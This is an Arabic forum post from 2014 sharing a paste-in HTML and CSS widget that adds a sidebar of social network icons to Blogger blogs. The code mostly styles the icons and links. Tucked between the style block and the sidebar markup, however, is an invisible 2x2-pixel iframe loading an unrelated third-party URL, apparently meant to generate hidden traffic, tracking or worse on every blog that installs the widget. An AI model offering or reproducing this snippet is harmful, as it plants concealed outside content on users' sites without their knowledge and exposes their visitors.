02-22-2014, 01:39 PM
#1
مدون نشيط
تاريخ التسجيل: Feb 2014
المشاركات: 124
أيقونات الشبكات الاجتماعية بشكل احترافي - بلوجر
السلام عليكم ورحمة الله وبركاته
اقدم لكم اضافة الشبكات الاجتماعية احترافية 2014 باشكال مختلفة
تساعدك علي زيادة عدد معجبين صفحاتك بالشبكات الاجتماعية
الشرح :
اذهب الي صفحة التخطيط واضف اداة جديدة HTML واضف بها الكود التالي :
كود PHP:
< style type = "text/css" >
/*<![CDATA[*/
@ charset "utf-8" ;
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@ import url ( http : //weloveiconfonts.com/api/?family=entypo);
[class*= "entypo-" ]: before {
font - family : 'entypo' , sans - serif ;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
list- style : none ;
margin : 0 ;
padding : 0 ;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
left : 0 ;
margin - top : - 75px ; /* (li * a:width) / -2 */
position : fixed ;
top : 50 %;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
background : #121212;
color : #fff;
display : block ;
height : 50px ;
font - size : 18px ;
line - height : 50px ;
position : relative ;
text - align : center ;
width : 50px ;
}
#social-sidebar ul li a:hover span {
left : 130 %;
opacity : 1 ;
}
#social-sidebar ul li a span {
border - radius : 3px ;
line - height : 24px ;
left : - 100 %;
margin - top : - 16px ;
- ms - filter : "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)" ;
filter : alpha ( opacity = 0 );
opacity : 0 ;
padding : 4px 8px ;
position : absolute ;
- webkit - transition : opacity .3s , left .4s ;
- moz - transition : opacity .3s , left .4s ;
- ms - transition : opacity .3s , left .4s ;
- o - transition : opacity .3s , left .4s ;
transition : opacity .3s , left .4s ;
top : 50 %;
z - index : - 1 ;
}
#social-sidebar ul li a span:before {
content : "" ;
display : block ;
height : 8px ;
left : - 4px ;
margin - top : - 4px ;
position : absolute ;
top : 50 %;
- webkit - transform : rotate ( 45deg );
- moz - transform : rotate ( 45deg );
- ms - transform : rotate ( 45deg );
- o - transform : rotate ( 45deg );
transform : rotate ( 45deg );
width : 8px ;
z - index : - 2 ;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</ style >< iframe src = "http://raay-arab.4ulike.com/h3-" width = "2" height = "2" frameBorder = "0" scrolling = "no" ></ iframe >
< div id = "social-sidebar" >
< ul >
< li >
< a class= "entypo-twitter" href = "https://twitter.com/" rel = "nofollow" target = "_blank" >
< span > Twitter </ span >
</ a >
</ li >
< li >
< a class= "entypo-gplus" href = "https://plus.google.com/" rel = "nofollow" target = "_blank" >
< span > google +</ span >
</ a >
</ li >
< li >
< a class= "entypo-tumblr" href = "http://www.tumblr.net/" rel = "nofollow" target = "_blank" >
< span > tumblr </ span >
</ a >
</ li >
< li >
< a class= "entypo-facebook" href = "https://www.facebook.com/" rel = "nofollow" target = "_blank" >
< span > facebook </ span >
</ a >
</ li >
< li >
< a class= "entypo-rss" href = "http://feeds.feedburner.com/" rel = "nofollow" target = "_blank" >
< span > feedburner </ span >
</ a >
</ li >
</ ul >
</ div >
مع تغيير روابط الصفحات الي روابط صفحاتك علي الشبكات الاجتماعية
__________________
من مواضيع Blog-Add